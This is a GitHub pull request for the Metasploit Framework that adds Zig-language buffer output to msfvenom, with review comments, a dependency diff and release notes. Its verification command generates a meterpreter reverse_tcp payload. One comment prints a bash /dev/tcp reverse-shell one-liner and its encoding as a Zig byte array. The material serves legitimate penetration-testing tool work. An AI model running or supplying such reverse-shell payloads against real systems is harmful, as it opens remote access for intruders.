Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

feat(ziglang): add buffer/comment support #19003

Merged
merged 2 commits into from
Apr 2, 2024

Conversation

ArchiMoebius
Copy link
Contributor

Adding support for Ziglang output with msfvenom

Requires rapid7/rex-text#69

Verification

List the steps needed to make sure this thing works

msfvenom -p linux/x64/meterpreter/reverse_tcp -f zig

@h00die
Copy link
Contributor

h00die commented Mar 23, 2024

0015
0017
(couldn't decide which all your base are belong to us zig reference to use)

@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Mar 28, 2024

Could you run a bundle update rex-text to pull in the latest library changes released here: https://rubygems.org/gems/rex-text/versions/0.2.57

Or, if that's not working - here's the patch changes that I'd expect to be added as part of this pull request to get things working:

diff --git a/Gemfile.lock b/Gemfile.lock
index 6ca56c1a5a..c72c5b570c 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -426,7 +426,7 @@ GEM
       rex-socket
       rex-text
     rex-struct2 (0.1.4)
-    rex-text (0.2.56)
+    rex-text (0.2.57)
     rex-zip (0.1.5)
       rex-text
     rexml (3.2.6)
@@ -572,4 +572,4 @@ DEPENDENCIES
   yard

@adfoster-r7
Copy link
Contributor

msf6 payload(cmd/unix/reverse_bash) > generate -f zig lhost=127.0.0.1

[+] bash -c '0<&24-;exec 24<>/dev/tcp/127.0.0.1/4444;sh <&24 >&24 2>&24'
// cmd/unix/reverse_bash - 73 bytes
// https://metasploit.com/
// VERBOSE=true, LHOST=127.0.0.1, LPORT=4444, 
// ReverseAllowProxy=false, ReverseListenerThreaded=false, 
// StagerRetryCount=10, StagerRetryWait=5, 
// AutoVerifySession=true, BashPath=bash, ShellPath=sh

const buf: []const u8 = &.{
0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x27,0x30,0x3c,0x26,
0x31,0x37,0x30,0x2d,0x3b,0x65,0x78,0x65,0x63,0x20,0x31,0x37,
0x30,0x3c,0x3e,0x2f,0x64,0x65,0x76,0x2f,0x74,0x63,0x70,0x2f,
0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x2f,0x34,0x34,
0x34,0x34,0x3b,0x73,0x68,0x20,0x3c,0x26,0x31,0x37,0x30,0x20,
0x3e,0x26,0x31,0x37,0x30,0x20,0x32,0x3e,0x26,0x31,0x37,0x30,
0x27};

@adfoster-r7 adfoster-r7 merged commit bd99cfd into rapid7:master Apr 2, 2024
56 checks passed
@adfoster-r7
Copy link
Contributor

Release Notes

Updates msfvenom and payload generation to support formatting payloads as a Zig buffer

@adfoster-r7 adfoster-r7 added the rn-enhancement release notes enhancement label Apr 2, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
rn-enhancement release notes enhancement
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants